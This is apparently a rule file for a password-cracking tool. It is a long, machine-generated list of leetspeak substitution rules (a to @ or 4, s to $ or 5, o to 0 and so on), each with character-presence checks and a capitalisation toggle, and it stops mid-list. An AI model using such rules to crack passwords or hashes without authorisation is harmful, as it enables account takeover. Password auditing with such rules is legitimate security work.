-/AsA4/8s8B[:c] -/AsA@/asa@[:c] -/AsA@/asa4[:c] -/AsA@/bsb8[:c] -/AsA@/BsB8[:c] -/AsA@/ese3[:c] -/AsA@/EsE3[:c] -/AsA@/isi1[:c] -/AsA@/isi![:c] -/AsA@/isi|[:c] -/AsA@/IsI1[:c] -/AsA@/IsI![:c] -/AsA@/IsI|[:c] -/AsA@/lsl1[:c] -/AsA@/lsl7[:c] -/AsA@/lsl|[:c] -/AsA@/lsl![:c] -/AsA@/Lsl1[:c] -/AsA@/Lsl7[:c] -/AsA@/Lsl|[:c] -/AsA@/Lsl![:c] -/AsA@/oso0[:c] -/AsA@/OsO0[:c] -/AsA@/sss$[:c] -/AsA@/sss5[:c] -/AsA@/SsS$[:c] -/AsA@/SsS5[:c] -/AsA@/tst+[:c] -/AsA@/TsT+[:c] -/AsA@/1s1![:c] -/AsA@/1s1i[:c] -/AsA@/1s1I[:c] -/AsA@/1s1|[:c] -/AsA@/0s0o[:c] -/AsA@/0s0O[:c] -/AsA@/3s3e[:c] -/AsA@/3s3E[:c] -/AsA@/4s4a[:c] -/AsA@/4s4A[:c] -/AsA@/5s5s[:c] -/AsA@/5s5S[:c] -/AsA@/7s7l[:c] -/AsA@/7s7L[:c] -/AsA@/8s8b[:c] -/AsA@/8s8B[:c] -/bsb8/asa@[:c] -/bsb8/asa4[:c] -/bsb8/AsA4[:c] -/bsb8/AsA@[:c] -/bsb8/BsB8[:c] -/bsb8/ese3[:c] -/bsb8/EsE3[:c] -/bsb8/isi1[:c] -/bsb8/isi![:c] -/bsb8/isi|[:c] -/bsb8/IsI1[:c] -/bsb8/IsI![:c] -/bsb8/IsI|[:c] -/bsb8/lsl1[:c] -/bsb8/lsl7[:c] -/bsb8/lsl|[:c] -/bsb8/lsl![:c] -/bsb8/Lsl1[:c] -/bsb8/Lsl7[:c] -/bsb8/Lsl|[:c] -/bsb8/Lsl![:c] -/bsb8/oso0[:c] -/bsb8/OsO0[:c] -/bsb8/sss$[:c] -/bsb8/sss5[:c] -/bsb8/SsS$[:c] -/bsb8/SsS5[:c] -/bsb8/tst+[:c] -/bsb8/TsT+[:c] -/bsb8/1s1![:c] -/bsb8/1s1i[:c] -/bsb8/1s1I[:c] -/bsb8/1s1|[:c] -/bsb8/0s0o[:c] -/bsb8/0s0O[:c] -/bsb8/3s3e[:c] -/bsb8/3s3E[:c] -/bsb8/4s4a[:c] -/bsb8/4s4A[:c] -/bsb8/5s5s[:c] -/bsb8/5s5S[:c] -/bsb8/7s7l[:c] -/bsb8/7s7L[:c] -/bsb8/8s8b[:c] -/bsb8/8s8B[:c] -/BsB8/asa@[:c] -/BsB8/asa4[:c] -/BsB8/AsA4[:c] -/BsB8/AsA@[:c] -/BsB8/bsb8[:c] -/BsB8/ese3[:c] -/BsB8/EsE3[:c] -/BsB8/isi1[:c] -/BsB8/isi![:c] -/BsB8/isi|[:c] -/BsB8/IsI1[:c] -/BsB8/IsI![:c] -/BsB8/IsI|[:c] -/BsB8/lsl1[:c] -/BsB8/lsl7[:c] -/BsB8/lsl|[:c] -/BsB8/lsl![:c] -/BsB8/Lsl1[:c] -/BsB8/Lsl7[:c] -/BsB8/Lsl|[:c] -/BsB8/Lsl![:c] -/BsB8/oso0[:c] -/BsB8/OsO0[:c] -/BsB8/sss$[:c] -/BsB8/sss5[:c] -/BsB8/SsS$[:c] -/BsB8/SsS5[:c] -/BsB8/tst+[:c] -/BsB8/TsT+[:c] -/BsB8/1s1![:c] -/BsB8/1s1i[:c] -/BsB8/1s1I[:c] -/BsB8/1s1|[:c] -/BsB8/0s0o[:c] -/BsB8/0s0O[:c] -/BsB8/3s3e[:c] -/BsB8/3s3E[:c] -/BsB8/4s4a[:c] -/BsB8/4s4A[:c] -/BsB8/5s5s[:c] -/BsB8/5s5S[:c] -/BsB8/7s7l[:c] -/BsB8/7s7L[:c] -/BsB8/8s8b[:c] -/BsB8/8s8B[:c] -/ese3/asa@[:c] -/ese3/asa4[:c] -/ese3/AsA4[:c] -/ese3/AsA@[:c] -/ese3/bsb8[:c] -/ese3/BsB8[:c] -/ese3/EsE3[:c] -/ese3/isi1[:c] -/ese3/isi![:c] -/ese3/isi|[:c] -/ese3/IsI1[:c] -/ese3/IsI![:c] -/ese3/IsI|[:c] -/ese3/lsl1[:c] -/ese3/lsl7[:c] -/ese3/lsl|[:c] -/ese3/lsl![:c] -/ese3/Lsl1[:c] -/ese3/Lsl7[:c] -/ese3/Lsl|[:c] -/ese3/Lsl![:c] -/ese3/oso0[:c] -/ese3/OsO0[:c] -/ese3/sss$[:c] -/ese3/sss5[:c] -/ese3/SsS$[:c] -/ese3/SsS5[:c] -/ese3/tst+[:c] -/ese3/TsT+[:c] -/ese3/1s1![:c] -/ese3/1s1i[:c] -/ese3/1s1I[:c] -/ese3/1s1|[:c] -/ese3/0s0o[:c] -/ese3/0s0O[:c] -/ese3/3s3e[:c] -/ese3/3s3E[:c] -/ese3/4s4a[:c] -/ese3/4s4A[:c] -/ese3/5s5s[:c] -/ese3/5s5S[:c] -/ese3/7s7l[:c] -/ese3/7s7L[:c] -/ese3/8s8b[:c] -/ese3/8s8B[:c] -/EsE3/asa@[:c] -/EsE3/asa4[:c] -/EsE3/AsA4[:c] -/EsE3/AsA@[:c] -/EsE3/bsb8[:c] -/EsE3/BsB8[:c] -/EsE3/ese3[:c] -/EsE3/isi1[:c] -/EsE3/isi![:c] -/EsE3/isi|[:c] -/EsE3/IsI1[:c] -/EsE3/IsI![:c] -/EsE3/IsI|[:c] -/EsE3/lsl1[:c] -/EsE3/lsl7[:c] -/EsE3/lsl|[:c] -/EsE3/lsl![:c] -/EsE3/Lsl1[:c] -/EsE3/Lsl7[:c] -/EsE3/Lsl|[:c] -/EsE3/Lsl![:c] -/EsE3/oso0[:c] -/EsE3/OsO0[:c] -/EsE3/sss$[:c] -/EsE3/sss5[:c] -/EsE3/SsS$[:c] -/EsE3/SsS5[:c] -/EsE3/tst+[:c] -/EsE3/TsT+[:c] -/EsE3/1s1![:c] -/EsE3/1s1i[:c] -/EsE3/1s1I[:c] -/EsE3/1s1|[:c] -/EsE3/0s0o[:c] -/EsE3/0s0O[:c] -/EsE3/3s3e[:c] -/EsE3/3s3E[:c] -/EsE3/4s4a[:c] -/EsE3/4s4A[:c] -/EsE3/5s5s[:c] -/EsE3/5s5S[:c] -/EsE3/7s7l[:c] -/EsE3/7s7L[:c] -/EsE3/8s8b[:c] -/EsE3/8s8B[:c] -/isi1/asa@[:c] -/isi1/asa4[:c] -/isi1/AsA4[:c] -/isi1/AsA@[:c] -/isi1/bsb8[:c] -/isi1/BsB8[:c] -/isi1/ese3[:c] -/isi1/EsE3[:c] -/isi1/IsI1[:c] -/isi1/IsI![:c] -/isi1/IsI|[:c] -/isi1/lsl1[:c] -/isi1/lsl7[:c] -/isi1/lsl|[:c] -/isi1/lsl![:c] -/isi1/Lsl1[:c] -/isi1/Lsl7[:c] -/isi1/Lsl|[:c] -/isi1/Lsl![:c] -/isi1/oso0[:c] -/isi1/OsO0[:c] -/isi1/sss$[:c] -/isi1/sss5[:c] -/isi1/SsS$[:c] -/isi1/SsS5[:c] -/isi1/tst+[:c] -/isi1/TsT+[:c] -/isi1/1s1![:c] -/isi1/1s1i[:c] -/isi1/1s1I[:c] -/isi1/1s1|[:c] -/isi1/0s0o[:c] -/isi1/0s0O[:c] -/isi1/3s3e[:c] -/isi1/3s3E[:c] -/isi1/4s4a[:c] -/isi1/4s4A[:c] -/isi1/5s5s[:c] -/isi1/5s5S[:c] -/isi1/7s7l[:c] -/isi1/7s7L[:c] -/isi1/8s8b[:c] -/isi1/8s8B[:c] -/isi!/asa@[:c] -/isi!/asa4[:c] -/isi!/AsA4[:c] -/isi!/AsA@[:c] -/isi!/bsb8[:c] -/isi!/BsB8[:c] -/isi!/ese3[:c] -/isi!/EsE3[:c] -/isi!/isi1[:c] -/isi!/isi|[:c] -/isi!/IsI1[:c] -/isi!/IsI![:c] -/isi!/IsI|[:c] -/isi!/lsl1[:c] -/isi!/lsl7[:c] -/isi!/lsl|[:c] -/isi!/lsl![:c] -/isi!/Lsl1[:c] -/isi!/Lsl7[:c] -/isi!/Lsl|[:c] -/isi!/Lsl![:c] -/isi!/oso0[:c] -/isi!/OsO0[:c] -/isi!/sss$[:c] -/isi!/sss5[:c] -/isi!/SsS$[:c] -/isi!/SsS5[:c] -/isi!/tst+[:c] -/isi!/TsT+[:c] -/isi!/1s1![:c] -/isi!/1s1i[:c] -/isi!/1s1I[:c] -/isi!/1s1|[:c] -/isi!/0s0o[:c] -/isi!/0s0O[:c] -/isi!/3s3e[:c] -/isi!/3s3E[:c] -/isi!/4s4a[:c] -/isi!/4s4A[:c] -/isi!/5s5s[:c] -/isi!/5s5S[:c] -/isi!/7s7l[:c] -/isi!/7s7L[:c] -/isi!/8s8b[:c] -/isi!/8s8B[:c] -/isi|/asa@[:c] -/isi|/asa4[:c] -/isi|/AsA4[:c] -/isi|/AsA@[:c] -/isi|/bsb8[:c] -/isi|/BsB8[:c] -/isi|/ese3[:c] -/isi|/EsE3[:c] -/isi|/isi1[:c] -/isi|/isi![:c] -/isi|/IsI1[:c] -/isi|/IsI![:c] -/isi|/IsI|[:c] -/isi|/lsl1[:c] -/isi|/lsl7[:c] -/isi|/lsl|[:c] -/isi|/lsl![:c] -/isi|/Lsl1[:c] -/isi|/Lsl7[:c] -/isi|/Lsl|[:c] -/isi|/Lsl![:c] -/isi|/oso0[:c] -/isi|/OsO0[:c] -/isi|/sss$[:c] -/isi|/sss5[:c] -/isi|/SsS$[:c] -/isi|/SsS5[:c] -/isi|/tst+[:c] -/isi|/TsT+[:c] -/isi|/1s1![:c] -/isi|/1s1i[:c] -/isi|/1s1I[:c] -/isi|/1s1|[:c] -/isi|/0s0o[:c] -/isi|/0s0O[:c] -/isi|/3s3e[:c] -/isi|/3s3E[:c] -/isi|/4s4a[:c] -/isi|/4s4A[:c] -/isi|/5s5s[:c] -/isi|/5s5S[:c] -/isi|/7s7l[:c] -/isi|/7s7L[:c] -/isi|/8s8b[:c] -/isi|/8s8B[:c] -/IsI1/asa@[:c] -/IsI1/asa4[:c] -/IsI1/AsA4[:c] -/IsI1/AsA@[:c] -/IsI1/bsb8[:c] -/IsI1/BsB8[:c] -/IsI1/ese3[:c] -/IsI1/EsE3[:c] -/IsI1/isi1[:c] -/IsI1/isi![:c] -/IsI1/isi|[:c] -/IsI1/lsl1[:c] -/IsI1/lsl7[:c] -/IsI1/lsl|[:c] -/IsI1/lsl![:c] -/IsI1/Lsl1[:c] -/IsI1/Lsl7[:c] -/IsI1/Lsl|[:c] -/IsI1/Lsl![:c] -/IsI1/oso0[:c] -/IsI1/OsO0[:c] -/IsI1/sss$[:c] -/IsI1/sss5[:c] -/IsI1/SsS$[:c] -/IsI1/SsS5[:c] -/IsI1/tst+[:c] -/IsI1/TsT+[:c] -/IsI1/1s1![:c] -/IsI1/1s1i[:c] -/IsI1/1s1I[:c] -/IsI1/1s1|[:c] -/IsI1/0s0o[:c] -/IsI1/0s0O[:c] -/IsI1/3s3e[:c] -/IsI1/3s3E[:c] -/IsI1/4s4a[:c] -/IsI1/4s4A[:c] -/IsI1/5s5s[:c] -/IsI1/5s5S[:c] -/IsI1/7s7l[:c] -/IsI1/7s7L[:c] -/IsI1/8s8b[:c] -/IsI1/8s8B[:c] -/IsI!/asa@[:c] -/IsI!/asa4[:c] -/IsI!/AsA4[:c] -/IsI!/AsA@[:c] -/IsI!/bsb8[:c] -/IsI!/BsB8[:c] -/IsI!/ese3[:c] -/IsI!/EsE3[:c] -/IsI!/isi1[:c] -/IsI!/isi![:c] -/IsI!/isi|[:c] -/IsI!/IsI1[:c] -/IsI!/IsI|[:c] -/IsI!/lsl1[:c] -/IsI!/lsl7[:c] -/IsI!/lsl|[:c] -/IsI!/lsl![:c] -/IsI!/Lsl1[:c] -/IsI!/Lsl7[:c] -/IsI!/Lsl|[:c] -/IsI!/Lsl![:c] -/IsI!/oso0[:c] -/IsI!/OsO0[:c] -/IsI!/sss$[:c] -/IsI!/sss5[:c] -/IsI!/SsS$[:c] -/IsI!/SsS5[:c] -/IsI!/tst+[:c] -/IsI!/TsT+[:c] -/IsI!/1s1![:c] -/IsI!/1s1i[:c] -/IsI!/1s1I[:c] -/IsI!/1s1|[:c] -/IsI!/0s0o[:c] -/IsI!/0s0O[:c] -/IsI!/3s3e[:c] -/IsI!/3s3E[:c] -/IsI!/4s4a[:c] -/IsI!/4s4A[:c] -/IsI!/5s5s[:c] -/IsI!/5s5S[:c] -/IsI!/7s7l[:c] -/IsI!/7s7L[:c] -/IsI!/8s8b[:c] -/IsI!/8s8B[:c] -/IsI|/asa@[:c] -/IsI|/asa4[:c] -/IsI|/AsA4[:c] -/IsI|/AsA@[:c] -/IsI|/bsb8[:c] -/IsI|/BsB8[:c] -/IsI|/ese3[:c] -/IsI|/EsE3[:c] -/IsI|/isi1[:c] -/IsI|/isi![:c] -/IsI|/isi|[:c] -/IsI|/IsI1[:c] -/IsI|/IsI![:c] -/IsI|/lsl1[:c] -/IsI|/lsl7[:c] -/IsI|/lsl|[:c] -/IsI|/lsl![:c] -/IsI|/Lsl1[:c] -/IsI|/Lsl7[:c] -/IsI|/Lsl|[:c] -/IsI|/Lsl![:c] -/IsI|/oso0[:c] -/IsI|/OsO0[:c] -/IsI|/sss$[:c] -/IsI|/sss5[:c] -/IsI|/SsS$[:c] -/IsI|/SsS5[:c] -/IsI|/tst+[:c] -/IsI|/TsT+[:c] -/IsI|/1s1![:c] -/IsI|/1s1i[:c] -/IsI|/1s1I[:c] -/IsI|/1s1|[:c] -/IsI|/0s0o[:c] -/IsI|/0s0O[:c] -/IsI|/3s3e[:c] -/IsI|/3s3E[:c] -/IsI|/4s4a[:c] -/IsI|/4s4A[:c] -/IsI|/5s5s[:c] -/IsI|/5s5S[:c] -/IsI|/7s7l[:c] -/IsI|/7s7L[:c] -/IsI|/8s8b[:c] -/IsI|/8s8B[:c] -/lsl1/asa@[:c] -/lsl1/asa4[:c] -/lsl1/AsA4[:c] -/lsl1/AsA@[:c] -/lsl1/bsb8[:c] -/lsl1/BsB8[:c] -/lsl1/ese3[:c] -/lsl1/EsE3[:c] -/lsl1/isi1[:c] -/lsl1/isi![:c] -/lsl1/isi|[:c] -/lsl1/IsI1[:c] -/lsl1/IsI![:c] -/lsl1/IsI|[:c] -/lsl1/Lsl1[:c] -/lsl1/Lsl7[:c] -/lsl1/Lsl|[:c] -/lsl1/Lsl![:c] -/lsl1/oso0[:c] -/lsl1/OsO0[:c] -/lsl1/sss$[:c] -/lsl1/sss5[:c] -/lsl1/SsS$[:c] -/lsl1/SsS5[:c] -/lsl1/tst+[:c] -/lsl1/TsT+[:c] -/lsl1/1s1![:c] -/lsl1/1s1i[:c] -/lsl1/1s1I[:c] -/lsl1/1s1|[:c] -/lsl1/0s0o[:c] -/lsl1/0s0O[:c] -/lsl1/3s3e[:c] -/lsl1/3s3E[:c] -/lsl1/4s4a[:c] -/lsl1/4s4A[:c] -/lsl1/5s5s[:c] -/lsl1/5s5S[:c] -/lsl1/7s7l[:c] -/lsl1/7s7L[:c] -/lsl1/8s8b[:c] -/lsl1/8s8B[:c] -/lsl7/asa@[:c] -/lsl7/asa4[:c] -/lsl7/AsA4[:c] -/lsl7/AsA@[:c] -/lsl7/bsb8[:c] -/lsl7/BsB8[:c] -/lsl7/ese3[:c] -/lsl7/EsE3[:c] -/lsl7/isi1[:c] -/lsl7/isi![:c] -/lsl7/isi|[:c] -/lsl7/IsI1[:c] -/lsl7/IsI![:c] -/lsl7/IsI|[:c] -/lsl7/lsl1[:c] -/lsl7/lsl|[:c] -/lsl7/lsl![:c] -/lsl7/Lsl1[:c] -/lsl7/Lsl7[:c] -/lsl7/Lsl|[:c] -/lsl7/Lsl![:c] -/lsl7/oso0[:c] -/lsl7/OsO0[:c] -/lsl7/sss$[:c] -/lsl7/sss5[:c] -/lsl7/SsS$[:c] -/lsl7/SsS5[:c] -/lsl7/tst+[:c] -/lsl7/TsT+[:c] -/lsl7/1s1![:c] -/lsl7/1s1i[:c] -/lsl7/1s1I[:c] -/lsl7/1s1|[:c] -/lsl7/0s0o[:c] -/lsl7/0s0O[:c] -/lsl7/3s3e[:c] -/lsl7/3s3E[:c] -/lsl7/4s4a[:c] -/lsl7/4s4A[:c] -/lsl7/5s5s[:c] -/lsl7/5s5S[:c] -/lsl7/7s7l[:c] -/lsl7/7s7L[:c] -/lsl7/8s8b[:c] -/lsl7/8s8B[:c] -/lsl|/asa@[:c] -/lsl|/asa4[:c] -/lsl|/AsA4[:c] -/lsl|/AsA@[:c] -/lsl|/bsb8[:c] -/lsl|/BsB8[:c] -/lsl|/ese3[:c] -/lsl|/EsE3[:c] -/lsl|/isi1[:c] -/lsl|/isi![:c] -/lsl|/isi|[:c] -/lsl|/IsI1[:c] -/lsl|/IsI![:c] -/lsl|/IsI|[:c] -/lsl|/lsl1[:c] -/lsl|/lsl7[:c] -/lsl|/lsl![:c] -/lsl|/Lsl1[:c] -/lsl|/Lsl7[:c] -/lsl|/Lsl|[:c] -/lsl|/Lsl![:c] -/lsl|/oso0[:c] -/lsl|/OsO0[:c] -/lsl|/sss$[:c] -/lsl|/sss5[:c] -/lsl|/SsS$[:c] -/lsl|/SsS5[:c] -/lsl|/tst+[:c] -/lsl|/TsT+[:c] -/lsl|/1s1![:c] -/lsl|/1s1i[:c] -/lsl|/1s1I[:c] -/lsl|/1s1|[:c] -/lsl|/0s0o[:c] -/lsl|/0s0O[:c] -/lsl|/3s3e[:c] -/lsl|/3s3E[:c] -/lsl|/4s4a[:c] -/lsl|/4s4A[:c] -/lsl|/5s5s[:c] -/lsl|/5s5S[:c] -/lsl|/7s7l[:c] -/lsl|/7s7L[:c] -/lsl|/8s8b[:c] -/lsl|/8s8B[:c] -/lsl!/asa@[:c] -/lsl!/asa4[:c] -/lsl!/AsA4[:c] -/lsl!/AsA@[:c] -/lsl!/bsb8[:c] -/lsl!/BsB8[:c] -/lsl!/ese3[:c] -/lsl!/EsE3[:c] -/lsl!/isi1[:c] -/lsl!/isi![:c] -/lsl!/isi|[:c] -/lsl!/IsI1[:c] -/lsl!/IsI![:c] -/lsl!/IsI|[:c] -/lsl!/lsl1[:c] -/lsl!/lsl7[:c] -/lsl!/lsl|[:c] -/lsl!/Lsl1[:c] -/lsl!/Lsl7[:c] -/lsl!/Lsl|[:c] -/lsl!/Lsl![:c] -/lsl!/oso0[:c] -/lsl!/OsO0[:c] -/lsl!/sss$[:c] -/lsl!/sss5[:c] -/lsl!/SsS$[:c] -/lsl!/SsS5[:c] -/lsl!/tst+[:c] -/lsl!/TsT+[:c] -/lsl!/1s1![:c] -/lsl!/1s1i[:c] -/lsl!/1s1I[:c] -/lsl!/1s1|[:c] -/lsl!/0s0o[:c] -/lsl!/0s0O[:c] -/lsl!/3s3e[:c] -/lsl!/3s3E[:c] -/lsl!/4s4a[:c] -/lsl!/4s4A[:c] -/lsl!/5s5s[:c] -/lsl!/5s5S[:c] -/lsl!/7s7l[:c] -/lsl!/7s7L[:c] -/lsl!/8s8b[:c] -/lsl!/8s8B[:c] -/Lsl1/asa@[:c] -/Lsl1/asa4[:c] -/Lsl1/AsA4[:c] -/Lsl1/AsA@[:c] -/Lsl1/bsb8[:c] -/Lsl1/BsB8[:c] -/Lsl1/ese3[:c] -/Lsl1/EsE3[:c] -/Lsl1/isi1[:c] -/Lsl1/isi![:c] -/Lsl1/isi|[:c] -/Lsl1/IsI1[:c] -/Lsl1/IsI![:c] -/Lsl1/IsI|[:c] -/Lsl1/lsl1[:c] -/Lsl1/lsl7[:c] -/Lsl1/lsl|[:c] -/Lsl1/lsl![:c] -/Lsl1/oso0[:c] -/Lsl1/OsO0[:c] -/Lsl1/sss$[:c] -/Lsl1/sss5[:c] -/Lsl1/SsS$[:c] -/Lsl1/SsS5[:c] -/Lsl1/tst+[:c] -/Lsl1/TsT+[:c] -/Lsl1/1s1![:c] -/Lsl1/1s1i[:c] -/Lsl1/1s1I[:c] -/Lsl1/1s1|[:c] -/Lsl1/0s0o[:c] -/Lsl1/0s0O[:c] -/Lsl1/3s3e[:c] -/Lsl1/3s3E[:c] -/Lsl1/4s4a[:c] -/Lsl1/4s4A[:c] -/Lsl1/5s5s[:c] -/Lsl1/5s5S[:c] -/Lsl1/7s7l[:c] -/Lsl1/7s7L[:c] -/Lsl1/8s8b[:c] -/Lsl1/8s8B[:c] -/Lsl7/asa@[:c] -/Lsl7/asa4[:c] -/Lsl7/AsA4[:c] -/Lsl7/AsA@[:c] -/Lsl7/bsb8[:c] -/Lsl7/BsB8[:c] -/Lsl7/ese3[:c] -/Lsl7/EsE3[:c] -/Lsl7/isi1[:c] -/Lsl7/isi![:c] -/Lsl7/isi|[:c] -/Lsl7/IsI1[:c] -/Lsl7/IsI![:c] -/Lsl7/IsI|[:c] -/Lsl7/lsl1[:c] -/Lsl7/lsl7[:c] -/Lsl7/lsl|[:c] -/Lsl7/lsl![:c] -/Lsl7/Lsl1[:c] -/Lsl7/Lsl|[:c] -/Lsl7/Lsl![:c] -/Lsl7/oso0[:c] -/Lsl7/OsO0[:c] -/Lsl7/sss$[:c] -/Lsl7/sss5[:c] -/Lsl7/SsS$[:c] -/Lsl7/SsS5[:c] -/Lsl7/tst+[:c] -/Lsl7/TsT+[:c] -/Lsl7/1s1![:c] -/Lsl7/1s1i[:c] -/Lsl7/1s1I[:c] -/Lsl7/1s1|[:c] -/Lsl7/0s0o[:c] -/Lsl7/0s0O[:c] -/Lsl7/3s3e[:c] -/Lsl7/3s3E[:c] -/Lsl7/4s4a[:c] -/Lsl7/4s4A[:c] -/Lsl7/5s5s[:c] -/Lsl7/5s5S[:c] -/Lsl7/7s7l[:c] -/Lsl7/7s7L[:c] -/Lsl7/8s8b[:c] -/Lsl7/8s8B[:c] -/Lsl|/asa@[:c] -/Lsl|/asa4[:c] -/Lsl|/AsA4[:c] -/Lsl|/AsA@[:c] -/Lsl|/bsb8[:c] -/Lsl|/BsB8[:c] -/Lsl|/ese3[:c] -/Lsl|/EsE3[:c] -/Lsl|/isi1[:c] -/Lsl|/isi![:c] -/Lsl|/isi|[:c] -/Lsl|/IsI1[:c] -/Lsl|/IsI![:c] -/Lsl|/IsI|[:c] -/Lsl|/lsl1[:c] -/Lsl|/lsl7[:c] -/Lsl|/lsl|[:c] -/Lsl|/lsl![:c] -/Lsl|/oso0[:c] -/Lsl|/OsO0[:c] -/Lsl|/sss$[:c] -/Lsl|/sss5[:c] -/Lsl|/SsS$[:c] -/Lsl|/SsS5[:c] -/Lsl|/tst+[:c] -/Lsl|/TsT+[:c] -/Lsl|/1s1![:c] -/Lsl|/1s1i[:c] -/Lsl|/1s1I[:c] -/Lsl|/1s1|[:c] -/Lsl|/0s0o[:c] -/Lsl|/0s0O[:c] -/Lsl|/3s3e[:c] -/Lsl|/3s3E[:c] -/Lsl|/4s4a[:c] -/Lsl|/4s4A[:c] -/Lsl|/5s5s[:c] -/Lsl|/5s5S[:c] -/Lsl|/7s7l[:c] -/Lsl|/7s7L[:c] -/Lsl|/8s8b[:c] -/Lsl|/8s8B[:c] -/Lsl!/asa@[:c] -/Lsl!/asa4[:c] -/Lsl!/AsA4[:c] -/Lsl!/AsA@[:c] -/Lsl!/bsb8[:c] -/Lsl!/BsB8[:c] -/Lsl!/ese3[:c] -/Lsl!/EsE3[:c] -/Lsl!/isi1[:c] -/Lsl!/isi![:c] -/Lsl!/isi|[:c] -/Lsl!/IsI1[:c] -/Lsl!/IsI![:c] -/Lsl!/IsI|[:c] -/Lsl!/lsl1[:c] -/Lsl!/lsl7[:c] -/Lsl!/lsl|[:c] -/Lsl!/lsl![:c] -/Lsl!/oso0[:c] -/Lsl!/OsO0[:c] -/Lsl!/sss$[:c] -/Lsl!/sss5[:c] -/Lsl!/SsS$[:c] -/Lsl!/SsS5[:c] -/Lsl!/tst+[:c] -/Lsl!/TsT+[:c] -/Lsl!/1s1![:c] -/Lsl!/1s1i[:c] -/Lsl!/1s1I[:c] -/Lsl!/1s1|[:c] -/Lsl!/0s0o[:c] -/Lsl!/0s0O[:c] -/Lsl!/3s3e[:c] -/Lsl!/3s3E[:c] -/Lsl!/4s4a[:c] -/Lsl!/4s4A[:c] -/Lsl!/5s5s[:c] -/Lsl!/5s5S[:c] -/Lsl!/7s7l[:c] -/Lsl!/7s7L[:c] -/Lsl!/8s8b[:c] -/Lsl!/8s8B[:c] -/oso0/asa@[:c] -/oso0/asa4[:c] -/oso0/AsA4[:c] -/oso0/AsA@[:c] -/oso0/bsb8[:c] -/oso0/BsB8[:c] -/oso0/ese3[:c] -/oso0/EsE3[:c] -/oso0/isi1[:c] -/oso0/isi![:c] -/oso0/isi|[:c] -/oso0/IsI1[:c] -/oso0/IsI![:c] -/oso0/IsI|[:c] -/oso0/lsl1[:c] -/oso0/lsl7[:c] -/oso0/lsl|[:c] -/oso0/lsl![:c] -/oso0/Lsl1[:c] -/oso0/Lsl7[:c] -/oso0/Lsl|[:c] -/oso0/Lsl![:c] -/oso0/OsO0[:c] -/oso0/sss$[:c] -/oso0/sss5[:c] -/oso0/SsS$[:c] -/oso0/SsS5[:c] -/oso0/tst+[:c] -/oso0/TsT+[:c] -/oso0/1s1![:c] -/oso0/1s1i[:c] -/oso0/1s1I[:c] -/oso0/1s1|[:c] -/oso0/0s0o[:c] -/oso0/0s0O[:c] -/oso0/3s3e[:c] -/oso0/3s3E[:c] -/oso0/4s4a[:c] -/oso0/4s4A[:c] -/oso0/5s5s[:c] -/oso0/5s5S[:c] -/oso0/7s7l[:c] -/oso0/7s7L[:c] -/oso0/8s8b[:c] -/oso0/8s8B[:c] -/OsO0/asa@[:c] -/OsO0/asa4[:c] -/OsO0/AsA4[:c] -/OsO0/AsA@[:c] -/OsO0/bsb8[:c] -/OsO0/BsB8[:c] -/OsO0/ese3[:c] -/OsO0/EsE3[:c] -/OsO0/isi1[:c] -/OsO0/isi![:c] -/OsO0/isi|[:c] -/OsO0/IsI1[:c] -/OsO0/IsI![:c] -/OsO0/IsI|[:c] -/OsO0/lsl1[:c] -/OsO0/lsl7[:c] -/OsO0/lsl|[:c] -/OsO0/lsl![:c] -/OsO0/Lsl1[:c] -/OsO0/Lsl7[:c] -/OsO0/Lsl|[:c] -/OsO0/Lsl![:c] -/OsO0/oso0[:c] -/OsO0/sss$[:c] -/OsO0/sss5[:c] -/OsO0/SsS$[:c] -/OsO0/SsS5[:c] -/OsO0/tst+[:c] -/OsO0/TsT+[:c] -/OsO0/1s1![:c] -/OsO0/1s1i[:c] -/OsO0/1s1I[:c] -/OsO0/1s1|[:c] -/OsO0/0s0o[:c] -/OsO0/0s0O[:c] -/OsO0/3s3e[:c] -/OsO0/3s3E[:c] -/OsO0/4s4a[:c] -/OsO0/4s4A[:c] -/OsO0/5s5s[:c] -/OsO0/5s5S[:c] -/OsO0/7s7l[:c] -/OsO0/7s7L[:c] -/OsO0/8s8b[:c] -/OsO0/8s8B[:c] -/sss$/asa@[:c] -/sss$/asa4[:c] -/sss$/AsA4[:c] -/sss$/AsA@[:c] -/sss$/bsb8[:c] -/sss$/BsB8[:c] -/sss$/ese3[:c] -/sss$/EsE3[:c] -/sss$/isi1[:c] -/sss$/isi![:c] -/sss$/isi|[:c] -/sss$/IsI1[:c] -/sss$/IsI![:c] -/sss$/IsI|[:c] -/sss$/lsl1[:c] -/sss$/lsl7[:c] -/sss$/lsl|[:c] -/sss$/lsl![:c] -/sss$/Lsl1[:c] -/sss$/Lsl7[:c] -/sss$/Lsl|[:c] -/sss$/Lsl![:c] -/sss$/oso0[:c] -/sss$/OsO0[:c] -/sss$/SsS$[:c] -/sss$/SsS5[:c] -/sss$/tst+[:c] -/sss$/TsT+[:c] -/sss$/1s1![:c] -/sss$/1s1i[:c] -/sss$/1s1I[:c] -/sss$/1s1|[:c] -/sss$/0s0o[:c] -/sss$/0s0O[:c] -/sss$/3s3e[:c] -/sss$/3s3E[:c] -/sss$/4s4a[:c] -/sss$/4s4A[:c] -/sss$/5s5s[:c] -/sss$/5s5S[:c] -/sss$/7s7l[:c] -/sss$/7s7L[:c] -/sss$/8s8b[:c] -/sss$/8s8B[:c] -/sss5/asa@[:c] -/sss5/asa4[:c] -/sss5/AsA4[:c] -/sss5/AsA@[:c] -/sss5/bsb8[:c] -/sss5/BsB8[:c] -/sss5/ese3[:c] -/sss5/EsE3[:c] -/sss5/isi1[:c] -/sss5/isi![:c] -/sss5/isi|[:c] -/sss5/IsI1[:c] -/sss5/IsI![:c] -/sss5/IsI|[:c] -/sss5/lsl1[:c] -/sss5/lsl7[:c] -/sss5/lsl|[:c] -/sss5/lsl![:c] -/sss5/Lsl1[:c] -/sss5/Lsl7[:c] -/sss5/Lsl|[:c] -/sss5/Lsl![:c] -/sss5/oso0[:c] -/sss5/OsO0[:c] -/sss5/SsS$[:c] -/sss5/SsS5[:c] -/sss5/tst+[:c] -/sss5/TsT+[:c] -/sss5/1s1![:c] -/sss5/1s1i[:c] -/sss5/1s1I[:c] -/sss5/1s1|[:c] -/sss5/0s0o[:c] -/sss5/0s0O[:c] -/sss5/3s3e[:c] -/sss5/3s3E[:c] -/sss5/4s4a[:c] -/sss5/4s4A[:c] -/sss5/5s5s[:c] -/sss5/5s5S[:c] -/sss5/7s7l[:c] -/sss5/7s7L[:c] -/sss5/8s8b[:c] -/sss5/8s8B[:c] -/SsS$/asa@[:c] -/SsS$/asa4[:c] -/SsS$/AsA4[:c] -/SsS$/AsA@[:c] -/SsS$/bsb8[:c] -/SsS$/BsB8[:c] -/SsS$/ese3[:c] -/SsS$/EsE3[:c] 